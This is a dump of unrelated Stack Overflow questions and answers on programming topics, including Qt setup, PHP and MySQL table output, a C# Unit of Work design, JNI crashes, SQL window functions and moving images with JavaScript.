noreferrer"><img src="https://i.stack.imgur.com/lFg91.png" alt="Fortune server example"></a></p> <h1>Step 5: Configure the examples</h1> <p>When you click the example, QtCreator will ask you to configure the example. This simply means you have to choose which "kit" to compile the project with. This is a side-effect of the awesome fact that Qt supports a lot of platforms and a lot of versions. In your case there should probably be only one or two options. The screen looks like this:</p> <p><a href="https://i.stack.imgur.com/ef5Iy.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ef5Iy.png" alt="Configuring a project in QtCreator"></a></p> <h1>Step 6: Build and run the project</h1> <p>I would start the server first and then start the client. They should be able to communicate over network. Please consult the excellent documentation that pops up for each example to find out how it is bestto test them.</p> <p>In general, to run a project, simply select the correct <strong>project/kit/build/run</strong> from the selector (see screenshot) and then press the big green play symbol. This should take some time to build and then start your example.</p> <p><a href="https://i.stack.imgur.com/wKjx1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wKjx1.png" alt="Build and run project in QtCreator"></a></p> <p>There, I hope this got you going on a journey in the world of the really amazing Qt &amp; QtCreator tools!</p>
21546695	0	Split php mysql data into 20 rows per column <p>I want to split the data from php mysql into 20 rows per column. Below is my code:</p> <pre><code>while($row = mysql_fetch_assoc($result)) { $id[] = $row['id']; } for($i = 0; $i &lt; 20; $i++) { echo '&lt;table&gt;&lt;tr&gt;'; for ($j = 0; $j &lt; (count($id)-1)/20; $j++) { echo '&lt;td&gt;'.$id[$i + $j * 20].'&lt;/td&gt;'; } echo '&lt;/tr&gt;&lt;tr&gt;'; } echo '&lt;/tr&gt;&lt;/table&gt;'; </code></pre> <p>Let's say I have 21 rows, and the code only output 20 rows, and the 21th row is missing.</p> <p>And if there are 22 rows (as long as the remainder after divided by 20 is more than or less than by 1), there is <code>undefined offset 22, undefined offset 23.....</code> errors.</p> <p>There is something wrong with the inner <code>for</code> loop, but I cannot fix it. How can I fix this error?</p>
5587261	0	Getting my Unit of Work to... well, work! <p>I am implementing Unit of Work. This is part of my interface:</p> <pre><code>public interface IUnitOfWork { void Add(object entity); void Update(object entity); void Delete(object entity); void Commit(); } </code></pre> <p>It looks like from examples I've found online or in books, the Unit of Work is forced to work with type "object", as we can be adding any "type" of entity to the uow.</p> <p>Not a big deal until it comes time to Commit(). When I commit, given an entity type, I need to look-up the repository based on the entity type, and then call the appropriate action.</p> <p>For example, I have an entity type named Expert</p> <pre><code>public class Expert { public object ID { get; set; } public string Name { get; set; } } </code></pre> <p>Expert has a repository named ExpertRepository. All Repositories in my application implement IRepository:</p> <pre><code>public interface IRepository&lt;T&gt; { void Create(T item); void Update(T item); void Delete(T item); } public class ExpertRepository : IRepository&lt;Expert&gt; { public void Create(Expert item) { //TSQL to insert } public void Update(Expert item) { //TSQL to update } public void Delete(Expert item) { //TSQL to delete } } </code></pre> <p>I want to clarify that it is not the responsibility of my Repositories to add, update, or delete an entity from my uow, rather, I'll have the consuming code (maybe in a Service Layer) new up the uow, and then add directly to it... when my app is ready, it will call Commit().</p> <p>This does two things. It allows my consuming code to decide how it wants the entity to be persisted. Either the consuming code can call .Create() directly on the Repository to persist the entity with no uow, or the consuming code can start a uow, call .Add() on the uow, and then when .Commit() is called, the uow will go through all entities, and by action type (add, update delete), new up the appropriate repository, and the TSQL code will execute.</p> <p>Now, the problem I'm running into is when I'm looping through the Add, Update, and Delete collections in my uow. Here is a code snippet:</p> <pre><code>public void Commit() { using (TransactionScope tx = new TransactionScope()) { try { foreach (object item in addedItems) { if (item.GetType() == typeof(Expert)) { IRepository&lt;Expert&gt; repository = new ExpertRepository(); repository.Create((Expert)item); } } } } } </code></pre> <p>I have to resolve entity type of what's in the object collection via the item variable. Then I need to new up that entity's Repository (also providing the correct type to the IRepository interface), and then call .Create().</p> <p>That's all well and good, but I don't want to have these conditional checks for every possible entity, for the entity's interface, and the entity's repository sitting in my uow. That's very very bad.</p> <p>I know that an IoC container could help here (such as Unity), but is there any IoC container that can resolve generic types at runtime? I ask, b/c IRepository will need to be typed correctly to be a var that holds the instance of a given entity's repository.</p> <p>I've made some design decisions here such as putting the strong typing with the Repositories, not the UOW. For instance, I don't want a .Create() method sitting on a Repository that takes type object, esp. since my Repositories have a one-to-one relationship with my entities (Expert, ExpertRepository).</p> <p>I've also decided that since most of the repository calls are the same, I don't want an interface for each repository (aka, ExpertRepository implements IExpertRepository). That doesn't make sense, I think using generics here is the answer.</p> <p>But it all comes down to the problem in my uow. How do I get what I need to implement it correctly.</p> <p>Any suggestions or pointers in the right direction would be appreciated.</p> <p>Thanks!</p>
34588954	0	How to convert no of days array into json format <p>I have created an array of no of days using the <strong>for loop</strong> </p> <pre><code>$noOfDays=array(); for($i=1;$i&lt;=31;$i++){ if ($i == '1') { $noOfDays[$i]['Number']=$i; $noOfDays[$i]['Days']=$i.' Day'; }else{ $noOfDays[$i]['Number']=$i; $noOfDays[$i]['Days']=$i.' Days'; } } </code></pre> <p>and than converted this array into json </p> <pre><code>echo $noOfDaysjson= json_encode($noOfDays); </code></pre> <p>the $noOfDaysjson returns json as below :-</p> <pre><code>{**"1"**:{"Number":1,"Days":"1 Day"},**"2"**:{"Number":2,"Days":"2 Days"},**"3"**:{"Number":3,"Days":"3 Days"},**"4"**:{"Number":4,"Days":"4 Days"},"5":{"Number":5,"Days":"5 Days"},"6":{"Number":6,"Days":"6 Days"},"7":{"Number":7,"Days":"7 Days"},"8":{"Number":8,"Days":"8 Days"},"9":{"Number":9,"Days":"9 Days"},"10":{"Number":10,"Days":"10 Days"},"11":{"Number":11,"Days":"11 Days"},"12":{"Number":12,"Days":"12 Days"},"13":{"Number":13,"Days":"13 Days"},"14":{"Number":14,"Days":"14 Days"},"15":{"Number":15,"Days":"15 Days"},"16":{"Number":16,"Days":"16 Days"},"17":{"Number":17,"Days":"17 Days"},"18":{"Number":18,"Days":"18 Days"},"19":{"Number":19,"Days":"19 Days"},"20":{"Number":20,"Days":"20 Days"},"21":{"Number":21,"Days":"21 Days"},"22":{"Number":22,"Days":"22 Days"},"23":{"Number":23,"Days":"23 Days"},"24":{"Number":24,"Days":"24 Days"},"25":{"Number":25,"Days":"25 Days"},"26":{"Number":26,"Days":"26 Days"},"27":{"Number":27,"Days":"27 Days"},"28":{"Number":28,"Days":"28 Days"},"29":{"Number":29,"Days":"29 Days"},"30":{"Number":30,"Days":"30 Days"},"31":{"Number":31,"Days":"31 Days"}} </code></pre> <p>but i donot want the no. shown like 1, 2 in bold in json format</p> <p>how can i get json like:-</p> <pre><code>'[{"Number":"1","Days":"1 Day"},{"Number":"2","Days":"2 Days"},{"Number":"3","Days":"3 Days"},{"Number":"4","Days":"4 Days"},....so on]'; </code></pre>
21918230	1	Why does IPython notebook only output one DIV from this code? <p>In an IPython notebook I input this code in a cell:</p> <pre><code>from IPython.display import HTML HTML("""&lt;div&gt;One&lt;/div&gt;""") HTML("""&lt;div&gt;Two&lt;/div&gt;""") </code></pre> <p>How come the output cell only contains the second div?</p> <p>EDIT. @Dunno has shown how I can put all the html into one <code>HTML()</code> and both elements are rendered, but I still don't understand what's going on. Here's a more general case:</p> <p>When I enter this in an input cell:</p> <pre><code>1 2 3 </code></pre> <p>The output is </p> <pre><code>3 </code></pre> <p>But if I enter the following:</p> <pre><code>print 1 print 2 print 3 </code></pre> <p>Then I get this output:</p> <pre><code>1 2 3 </code></pre> <p>What's the difference? Is IPython notebook only evaluating the last statement when I don't use <code>print</code> statements? Or is each subsequent evaluation overwriting the previous one?</p>
8014404	0	 <p>I spent a considerable amount of time looking into this. EventMachine needs to run as a thread in your rails install (unless you are using Thin,) and there are some special considerations for Passenger. I wrote our implementation up here: <a href="http://www.hiringthing.com/2011/11/04/eventmachine-with-rails.html">http://www.hiringthing.com/2011/11/04/eventmachine-with-rails.html</a></p>
30368236	0	I receive error message when run JNI android app A/libc﹕ Fatal signal 11 (SIGSEGV) at 0xdeadd00d (code=1), thread 17729 <p>I got an error when i run android app that I use JNI functions and c++ code in it. When it run, I got below message:</p> <blockquote> <p>Fatal signal 11 (SIGSEGV) at 0xe480001d (code=1), thread 5465</p> </blockquote> <p>And finally here is my codes:</p> <pre><code>JNIEXPORT jstring JNICALL Java_ir_bassir_ndktest4_MainActivity_getName (JNIEnv *env, jobject obj){ jclass cls = (*env)-&gt;GetObjectClass(env, obj); jmethodID mid = (*env)-&gt;GetStaticMethodID(env, cls, "testJava", "([Ljava/lang/String)[Ljava/lang/String"); jstring plainText = (*env)-&gt;NewStringUTF(env, "Hello from JNI ! Compiled with ABI 2222 "); jstring result = (*env)-&gt;CallStaticObjectMethod(env, cls, mid, plainText); return (*env)-&gt;NewStringUTF(env, plainText); } </code></pre> <p>And on the Java side:</p> <pre><code>public class MainActivity extends ActionBarActivity { public native String getName(); public static String testJava(String txt){ Log.d("BP","call back to java method"); String result = txt + "its added in JAVA"; return result; } static{ System.loadLibrary("HelloJNI"); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); String name = getName(); Log.d("BP",name); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.menu_main, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); //noinspection SimplifiableIfStatement if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } } </code></pre>
10918644	0	 <p>i use LinearLayout to show webview and setGravity.</p> <pre><code> LinearLayout linearLayout = new LinearLayout(this); linearLayout.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT)); linearLayout.setGravity(Gravity.CENTER); WebView view = new WebView(this); linearLayout.addView(view); setContentView(linearLayout); </code></pre> <p>it help you.</p>
24509737	1	Dynamically adding a property to a class <p>This has been previously asked on Stack Overflow, but none of the answers seem to address exactly what I need to do. In my case, I want these dynamically-added properties to be a shortcut to store and read values from a database, so unfortunately it's not as easy <a href="https://stackoverflow.com/a/1355444/184363">as in this answer</a> (where a <code>lambda</code> function was used) or <a href="https://stackoverflow.com/q/10967551/184363">this one</a> (where values where stored in a dictionary): I must call other methods of the class.</p> <p>This is my attempt:</p> <pre><code>import operator class Foo(object): def get_value(self, name): # read and return value from database return -1 def set_value(self, name, value): # store value in database pass def add_metadata_property(name): getter = operator.methodcaller('get_value', name) setter = operator.methodcaller('set_value', name) # gets value at runtime setattr(Foo, name, property(getter, setter)) add_metadata_property('spam') f = Foo() f.spam # works! f.spam = 2 </code></pre> <p>The last line, however, raises:</p> <pre><code>Traceback (most recent call last): File "&lt;stdin&gt;", line 27, in &lt;module&gt; TypeError: methodcaller expected 1 arguments, got 2 </code></pre> <p>Any ideas on how to achieve this?</p>
40125386	0	How to Store a key and value in a cell using ExcelPackage C# <p>Am creating an Excel sheet with dropdown for each cell using ExcelPackage.Now i pass a value to list as 20-APSECE (i.e) StudentId-StudentName so that i can render both id and name while rendering the excel using c#.</p> <p>Is there any other way, that only StudentName should be visible in list of dropdown and should get both StudentId and StudentName while rendering?</p> <p>I tried Formatting the cell but it didn't work.</p>
19681548	0	 <p>You can override the default form panel to add this functionality. Add the following to your code:</p> <pre><code> Ext.override(Ext.form.Panel, { clearForm:function(){ Ext.each(this.getForm().getFields().items, function(field){ field.setValue(''); }); } }); </code></pre> <p>You can then clear a form using:</p> <p>myForm.clearForm()</p> <p>Where myForm is your form panel.</p> <p>The <code>reset()</code> method just resets the form back to the last record loaded.</p>
1955204	0	 <p>this is probably the simplest way to do it, <em>using a loop</em>:</p> <pre><code>//counting backwards is easier when you are doing removals from a list for( int i = lst.Count -1; i&gt;= 0; i--) { if(condition1 || condition2) { RemoveFromDB(lst[i]); lst.RemoveAt(i); } } </code></pre> <p>you can refactor that to use the functional methods provided by the framework:</p> <pre><code>var toRemove = lst.FindAll( item =&gt; !PricingOptionIsValid(item) || !item.ItemIsOnSite() ); toRemove.ForEach( item =&gt; { RemoveFromDB(item.ID); lst.Remove(item); }); </code></pre> <p>and you could write this without the toRemove variable, by chaining the ForEach onto the FindAll</p>
13186434	0	 <p>Again, <strong>without subquery</strong>:</p> <p>Key element is to add <a href="http://www.postgresql.org/docs/current/interactive/sql-expressions.html#SYNTAX-WINDOW-FUNCTIONS" rel="nofollow"><strong><code>PARTITION BY</code></strong></a> to the window function(s):</p> <pre><code>SELECT DISTINCT t.section -- ,sum(count(*)) OVER (PARTITION BY t.section) AS tickets_count ,sum(min(a.revenue)) OVER (PARTITION BY t.section) AS atendees_revenue FROM tickets t LEFT JOIN attendees a ON a.id = t.attendee_id GROUP BY t.attendee_id, t.section ORDER BY t.section; </code></pre> <p><a href="http://sqlfiddle.com/#!12/6e522/1" rel="nofollow"><strong>-> sqlfiddle</strong></a></p> <p>Here, you <code>GROUP BY t.attendee_id, t.section</code>, before you run the result through the window function. And use <code>PARTITION BY t.section</code> in the window function as you want results partitioned by section this time.</p> <p>Uncomment the second line if you want to get a count of tickets, too.</p> <p>Otherwise, it works similar to <a href="http://stackoverflow.com/a/13169627/939860">my answer to your previous question</a>. I.e., the rest of the explanation applies.</p>
6907640	0	 <p>You also could specify a URL (which should return a JSON array of models) on your collection and then do window.Contents.fetch(). Backbone will auto-populate the model (Content) specified in your collection and automatically add them to your collection.</p>
18842362	0	 <p>when you use <code>Convert.ToInt16</code> you will get this exception if <em>value does not consist of an optional sign followed by a sequence of digits (0 through 9)</em></p> <p>Do a validation for inputs before proceed like below. </p> <pre><code>int orderNo; if (int.TryParse(txtOrderNo.Text, out orderNo)) { DisplayOrder(orderNo); DisplayOrderDetails(orderNo); } </code></pre> <p>Side Note :</p> <p>don't share the <code>SqlConnection</code> create new instant when you need it and wrap it with using block like below </p> <pre><code>using (SqlConnection con = new SqlConnection(connectionString)) { } </code></pre> <p>Use SQL Parameters </p> <pre><code>cmdSelect.CommandText = "SELECT * FROM Orders WHERE OrderNo = @OrderNo"; cmdSelect.Parameters.AddWithValue("@OrderNo", nOrderNo); </code></pre>
27035692	0	 <p>This line: <code>[self.view removeConstraints:self.view.constraints];</code> removes more on iOS 8 than on iOS 7. The easies way to fix this it to add an array holding the constraints you add to the view and remove only those constraints.</p> <p>Maybe you even can remove this line completely but this depends on your application.</p>
33475653	0	 <p>Just to close the question.</p> <p>Answer : The update method was getting a wrong argument from its calling method. Hence the output was not as expected. Thanks for pointing out that there might not be any matches for the update statement.</p>
5358195	0	 <p>Check out <a href="http://www.orchardproject.net/docs/Managing-widgets.ashx" rel="nofollow">this link</a> to understand the concept of layers and zones.</p> <p>Basically, you can customize the zone (a place to put a widget or a place where content goes) layout of a particular page by matching it to a layer (using a rule defined in by the layer). The layer structure allows for inheritance.</p>
17850453	0	 <p>There is no option for jdbc that looks like Hibernate; I think you have to get a look to specif RDBMS vendor driver options when preparing connection string.</p> <p>About your code you have to use</p> <p><code>BatchPreparedStatementSetter.getBatchSize()</code> </p> <p>or</p> <p><code>JdbcTemplate.batchUpdate(String sql, final Collection&lt;T&gt; batchArgs, final int batchSize, final ParameterizedPreparedStatementSetter&lt;T&gt; pss)</code></p>
11484531	0	Using file upload jquery plugin in jsp page with strut action class <p>I know there are many jquery plugins available for file upload.But it just shows how can we added it in the jsp page.But i want to know that how we can deal with the files that are selected using these plugins in the backend.For example am using spring with struts2.So i want to send these files in my action class from my jsp and to store it in the server location.Any body know how can i do it.</p>
30517644	0	 <p>I don't see you clearing the interrupt. Some UART peripherals require you to clear the interrupt or the interrupt will continue to cycle. Some will clear the interrupt automatically when the data register is read, though, so refer to the peripheral documentation. In my experience an uncleared interrupt is often the cause of a perpetually cycling interrupt.</p> <p>Also, I'm unconvinced it's your problem but, you shouldn't need the</p> <pre><code>MOVS R0, #1 ; MASK all interrupts MSR PRIMASK, R0 </code></pre> <p>and </p> <pre><code>MOVS R0, #0 ; ENABLE all interrupts MSR PRIMASK, R0 </code></pre> <p>sections of code. You shouldn't have to mask any interrupts while in an interrupt. If you're executing from an interrupt context, having properly configured interrupt priorities will stop other interrupts from triggering. </p> <p>Like others say, based on how you're using it, you shouldn't need the assembly code at all, just name your C function "UART_Handler".</p>
28241550	0	 <p>You need to define a <code>default</code> cursor value for the last cell with CSS:</p> <pre><code>.hover-table-tow:last-child { cursor:default; } </code></pre>
9563670	0	How to read Text from pdf file in c#.net web application <p>I am working on one project where there is a functionality need to implement with PDF</p> <p>I want to read the text of PDF file in my c#.net project.</p> <p>Can anyone know what is the way to do so?</p>
15621933	0	 <p>My guess is that <code>LocalOffer.Category</code> is a single <code>Category</code> (based on the name). Try this instead:</p> <pre><code>return (from o in Table&lt;LocalOffer&gt;() where categories.Contains(o.CategoryId) select o) .Count(); </code></pre> <p>However, if <code>LocalOffer.Category</code> is an <code>IEnumerable&lt;Category&gt;</code>, this is probably what you need:</p> <pre><code>return (from o in Table&lt;LocalOffer&gt;() where o.Any(c =&gt; categories.Contains(c.CategoryId)) select o) .Count(); </code></pre>
21790295	0	Move an image with the arrow keys using JavaScript <p>I want to be able to move an image around the screen with JavaScript. The code I have below will put the image on the screen but will not let me move it around.</p> <p>Question: Want to be able to move the image around the screen with the arrow keys?</p> <p>I am certain there has to be a game loop that somehow is running all the time when the page is active. How this is done I am not certain either but I think that it might be int he load function.</p> <p><strong>JavaScript Code:</strong></p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt; &lt;title&gt;Test Move Object&lt;/title&gt; &lt;script type="text/javascript"&gt; &lt;script type="text/javascript"&gt; function leftArrowPressed() { var element = document.getElementById("image1"); element.style.left = parseInt(element.style.left) - 5 + 'px'; } function rightArrowPressed() { var element = document.getElementById("image1"); element.style.left = parseInt(element.style.left) + 5 + 'px'; } function upArrowPressed() { var element = document.getElementById("image1"); element.style.top = parseInt(element.style.top) - 5 + 'px'; } function downArrowPressed() { var element = document.getElementById("image1"); element.style.top = parseInt(element.style.top) + 5 + 'px'; } function moveSelection() { evt = evt || window.event; switch (evt.keyCode) { case 37: leftArrowPressed(); break; case 39: rightArrowPressed(); break; case 38: upArrowPressed(); break; case 40: downArrowPressed(); break; } }; function gameLoop() { // change position based on speed moveSelection(); setTimeout("gameLoop()",10); } &lt;/script&gt; &lt;/head&gt; &lt;body onload="gameLoop()" onkeydown="" onkeyup="" bgcolor='yellow'&gt; Test &lt;img id="image1" src="C:\Users\itpr13266\Desktop\mp.jpg" style="position:absolute;" height="15" width="15"&gt; &lt;/body&gt; end html &lt;/html&gt; </code></pre>
34916907	0	How to serialize Out of the box bean <p>We are developing web application using ADF. In this application we are using some classes which are available in third party jars.</p> <p>We are using Weblogic 11g cluster environment for deploying this application. While running the application we are getting error log like "<strong>object can not be serialized</strong>". We are getting this error wherever we are trying to use the classes available in third party JAR.</p> <p>Now my concern is how to serialize these classes? or is there any other way/ setting using which we can avoid this error?</p>
4683591	0	 <p>For the record, 1.0E-4 = 0.0001.</p>
39383051	0	 <p>To skip searching for pre-compiled binaries, and force a build from source, use</p> <pre><code>npm install --build-from-source </code></pre>
23410158	0	 <p><strong>For your <code>ImagePanel</code> class</strong></p> <ol> <li><code>super.paint[Component]</code> <em>before</em> all the other stuff. </li> <li>Don't override <code>paint</code> but instead <code>paintComponent</code></li> <li>Don't set properties in <code>paintComponent</code> method ie <code>setOpaque()</code>. Beside, <code>JPanel</code> is opaque by default</li> <li>Override <code>getPreferredSize()</code> for painting on panels </li> </ol> <p><strong>For loadng images</strong></p> <p>Make a habit of not reading images from the file system, unless the application is specific to <em>only</em> your machine.</p> <p>Instead read from the class path and make the image a resource by packaging it into the class path</p> <ol> <li><p>Change your file structure</p> <pre><code>ProjectRoot src images 3D.jpg </code></pre></li> <li><p>Read from class path. Use <code>ImageIO</code> to make sure your path is correct. If it's invalid, an exception will be thrown</p> <pre><code>URL url = getClass().getResource("/images/3D.jpg"); Image image = ImageIO.read(url); </code></pre></li> </ol> <p><strong>For Netbeans GUI Builder</strong></p> <p>You can set the label icon using the design tool</p> <ol> <li>Select your label from the navigator or the design view. </li> <li>Go to the properties window in the right and find the property <code>icon</code></li> <li>click the ellipses button to the right of the property and a dialog will appear.</li> <li>Find your image and select OK (make sure your image is in a package in the src)</li> </ol> <hr> <p>See <a href="http://stackoverflow.com/a/22146266/2587435">related</a> and <a href="http://stackoverflow.com/a/22214485/2587435">maybe related</a></p>
11775572	0	 <p>I normally use a try catch for this.</p> <pre><code>try: session.commit() catch: str(sys.exc_info()[0]) + " \nDESCRIPTION: "+ str(sys.exc_info()[1]) + "\n" + str(sys.exc_info()[2]) </code></pre> <p>When I encounter an integrity error, I get the following message and I skip that particular transcation and continue with the rest of them</p> <pre><code>DESCRIPTION: (IntegrityError) duplicate key value violates unique constraint "test_code" DETAIL: Key (test_code)=(5342) already exists. 'INSERT INTO test_table (pk, test_code, test_name) VALUES (%(pk)s, %(test_code)s, %(test_name)s)' { 'pk': '1', 'test_code': '5342', 'test_name': 'test' } </code></pre>
10423728	0	 <p>Another approach is to use something like the following query, perhaps as a view. It will give you the most recent StatusID for each Person.</p> <pre><code>SELECT PersonID, StatusID FROM ( SELECT PersonID, StatusID, rank() OVER(PARTITION BY PersonID ORDER BY PersonStatusDate DESC) as rnk FROM tPersonStatusHistory ) A WHERE rnk = 1 </code></pre> <p>I'm not sure that this satisfies your requirement for performance, but it's something you could look into.</p>
4304034	0	Design using composition and interfaces in Java <p>I designed the following for a problem:</p> <pre><code>class Animal { // ... } class Guppy extends Animal { ... } class Pigeon extends Animal { ... } class TailedAnimal extends Animal { // ... } class Dog extends TailedAnimal { ... } class Cat extends TailedAnimal { ... } class HornedAnimal extends Animal { // ... } class Ram extends HornedAnimal { ... } public static void main(String[] args) { Animal a = getSomeAnimal(); a.doSomething(); if (a instanceof TailedAnimal) { // do something } if (a instanceof HornedAnimal) { // do something else } } </code></pre> <p>Animal, HornedAnimal and TailedAnimal are used mainly as data models.</p> <p>Since Java does not support multiple inheritance, I have trouble creating Rhinoceros which is a Horned and Tailed animal. After asking around, someone recommended using composition and interfaces. I came up with the following:</p> <pre><code>class Animal { // ... } class Guppy extends Animal { ... } class Pigeon extends Animal { ... } class Ram extends Animal implements IHorned { ... } class Cat extends Animal implements ITailed { ... } class Dog extends Animal implements ITailed { BasicTail t = new BasicTail(); public Object getTail() { return t.getTail(); } public void setTail(Object in) { t.setTail(in); } } interface ITailed { public Object getTail(); public void setTail(Object in); //... } class BasicTail implements ITailed { Object myTail; public Object getTail() { return myTail; } public void setTail(Object t) { myTail = t; } } interface IHorned { // getters and setters } public static void main(String[] args) { Animal a = getSomeAnimal(); a.doSomething(); // how do I check if a is horned or tailed? } </code></pre> <p>My questions are:</p> <ol> <li>Is this the correct way of using composition/interfaces?</li> <li>My interface has getters and setters. Is that supposed to be correct? Is there any way to avoid this? Assuming that there is currently no way to abstract the behaviour of Tails and Horns, and they're are being used mainly as data holders.</li> <li>How do I determine if my Animal is Horned or Tailed?</li> </ol>
25580979	0	 <p>Not sure what you thought was going on in the <code>handleLists</code> part of your script. You just need to wrap the other segment in an iterator (<code>forEach</code>) after finding the elements corresponding to the IDs.</p> <pre><code>var idList= ["MeatList", "Seats", "Lastname"].map(function(id){return document.getElementById(id)}); idList.forEach(function(select){ [].slice.call(select.options) .map(function(a){ if(this[a.value]){ select.removeChild(a); } else { this[a.value]=1; } },{}); }); </code></pre> <p>Of course, this is bad. You should make de-duplicating a function of it's own, eg.:</p> <pre><code>function deDuplicate(select){ [].slice.call(select.options) .map(function(a){ if(this[a.value]){ select.removeChild(a); } else { this[a.value]=1; } },{}); } </code></pre> <p>and then:</p> <pre><code>var idList= ["MeatList", "Seats", "Lastname"].map(function(id){return document.getElementById(id)}); idList.forEach(function(select){ deDuplicate(select); }); </code></pre> <p>Personally I recommend learning/using CoffeeScript as it <em>uncrufts</em> Javascript a great deal, the de-dupe looks like this:</p> <pre><code>deDuplicate = (select)-&gt; [].slice.call(select.options).map (a)-&gt; if @[a.value] select.removeChild a else @[a.value] = 1 , {} </code></pre> <p>and then wrapped you can do:</p> <pre><code>deDuplicate select for select in ["MeatList", "Seats", "Lastname"].map (id)-&gt; document.getElementById id </code></pre> <p>Which reads more plainly as english, at least to me it does. As always YMMV.</p>
30952827	0	Proximity of polylines in time <p>Given two paths in 2D, each described as a polyline (sequence of points where each two consecutive points are connected by a straight line), I would like to find the parts of the paths that are closer than a given distance d; i.e. areas of proximity within certain bound d.</p> <p>Is there a JAVA/Scala API that provides this functionality? If not, any ideas for efficient algorithm that would do the job?</p>
32877091	0	 <p>Depending on exactly what you are doing, it might be easier to make a real parser.</p> <pre><code>{-# LANGUAGE FlexibleContexts #-} import Text.Parsec import Text.Parsec.Char singleQuotedStrings = many (char '\'' *&gt; many letter &lt;* char '\'') main = print $ parse singleQuotedStrings [] "'all''your''base''belong'" </code></pre>
20329363	0	 <p>this trick may help you on getting the scrollbar width for any browser, you can use it as a function:</p> <p><a href="http://stackoverflow.com/questions/986937/how-can-i-get-the-browsers-scrollbar-sizes">How can I get the browser&#39;s scrollbar sizes?</a></p> <p>and if you're woried about leaving the white space if the scrollbar isn't showing, you can force it with css:</p> <pre><code>body { overflow-y: scroll; } </code></pre>
3350103	0	 <p>Here is my solution: <a href="http://jsbin.com/oteze/8" rel="nofollow noreferrer">http://jsbin.com/oteze/9</a> I tested it on Firefox 3.6.8. ADD: Now it works in IE7 too.</p> <p>You can nest any number of submenus anywhere. Just like that:</p> <pre><code>&lt;li&gt;&lt;a href="#"&gt;Child 1.2&lt;/a&gt; &lt;ul class="child"&gt; &lt;li&gt;&lt;a href="#"&gt;Child 1.2.1&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Child 1.2.2&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; </code></pre> <p>I modified your code a little, so there is difference between first level submenu and other levels. I also moved all show/hide logic to JS.</p> <pre><code> $(document).ready(function() { $("#Programming ul.child-first-level").hide(); $("#Programming ul.child").hide(); $("#Programming ul.child").each(function(index) { $(this).css("margin-left", $(this).parent().css("width")); }); $("#Programming li ul.child-first-level").parent().hover( function() { $(this).children("ul").fadeIn(); }, function() { $(this).children("ul").stop(true, true).css("display", "none"); } ); $("#Programming li ul.child").parent().hover( function() { var offset = $(this).children("ul").offset(); offset.top = 0; $(this).children("ul").offset(offset); $(this).children("ul").css("margin-left", $(this).parent().css("width")); $(this).children("ul").fadeIn(); }, function() { $(this).children("ul").stop(true, true).css("display", "none"); } ); }); </code></pre>
31839696	0	 <p>Basically, to run function in x seconds, use <code>setTimeout</code></p> <pre><code>setInterval( function () { //do magic here every 2seconds }, 2000); </code></pre> <p>And for updating chart.js data refer to this <a href="http://stackoverflow.com/a/20100851/2308005">answer</a></p>
36746229	0	React Redux routing - is there something simple that just works and isn't going to change in 12 hours? <p>Without hopefully having to go into all the options and issues, does anyone have or know of a solid routing solution that is simple and just works for a React Redux combination? If so can you please provide a complete working reference including history, transitions, params, and so on?</p> <p>Not sure how we ended up with 10 or more solutions to something that should be a core need for any real application, but the sheer number and constant flux (no pun intended) of the solutions out there make it seems like a nearly impossible task to zero in on anything in any timely manner. They seem to be growing in complexity as well and almost battling against each other in some cases.</p> <p>If Dan or anyone else is going to link to the Redux real world example, please comment on the plan to address <a href="https://github.com/reactjs/redux/issues/637" rel="nofollow">this</a> issue/discussion. For simple router (or whatever we're calling it this week), or any of the other like Tiny, or the plethora of others, please clarify where history should come from (history lib router, your lib...) and why as well as how to handle params and such.</p> <p>TIA</p>
39202257	0	What is Android's google app theme? <p>I am building an Android app and need to make it look like Android's stock google app (the one with the "G" icon) or google maps app. What theme are these google apps using? </p> <p>The TripAdvisor app, for instance, has a very similar look and feel as the default google app. Is it possible to achieve the same look and feel like the stock google apps?</p> <p>Would someone please let me know? Thanks!</p>
580020	0	 <p>I'd hybrid this. <strong>Design it for the ability to use separate databases, but don't separate until there is a clear performance benefit.</strong></p> <p>Design your application so that multiple clients can exist in the same database. (i.e. build a layer of separation between client data). Then plan for it all to be in one database.</p> <p>That way, you don't overarchitect your solution to start out with, but it gives you the flexibility to spin off very high-usage clients to a dedicated database. If your database exists with only one client in it, so what? This will also save on server costs so that you can be sure that you're using the hardware investment in a reasonable way already before adding more capacity.</p>
7640695	0	 <p>Just because people have written the code and made the source available doesn't mean that it's always going to be good code.</p> <p>The principles you're used to (small classes that do their one thing well) is a good one. But not every developer follows those principles.</p> <p>In the PHP world, a lot of people have worked their way up through it from the early days, when everything was in a single procedural monolithic block of code -- and I've seen some horrendous examples of that still in everyday use. Converting one's mindset from that to an OOP structure at all can be a big leap for some people, and even for people who haven't come from that background, a lot of the code examples they would be learning from are, so it's not a surprise to see monster classes.</p> <p>The short answer is to write code the way you're comfortable with and the way you've been taught. It sounds like you've got better coding practices ingrained into you than most PHP developers out there, so don't feel you have to change just because other people are doing things differently.</p>
26880519	1	How does tastypie handle comlex url? <p>Tastypie can automatically generate urlpattern for simple resource urls.</p> <p>For example, <code>/user/1/</code> , <code>/group/2/</code>, I only need to define UserResource and GroupResource</p> <p>But what if I have API url like <code>/group/2/user/</code>, saying I want to retrieve all users in group 2.</p> <p>Does tastypie have any solution to handle this?</p>
22820729	0	 <p>Well, I am not sure what you really want on this.</p> <p>But this is not the way to go.</p> <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_Objects" rel="nofollow" title="Working with objects">Here</a> you have an tutorial so you can have a better idea in how to use Objects in JScript, I am a bit rusty in JScripts so I read that tutorial last week, and it helped me a lot.</p> <p>This code you posted is a bit difficult to understand the goal, if you could clear this, I can help you better.</p>
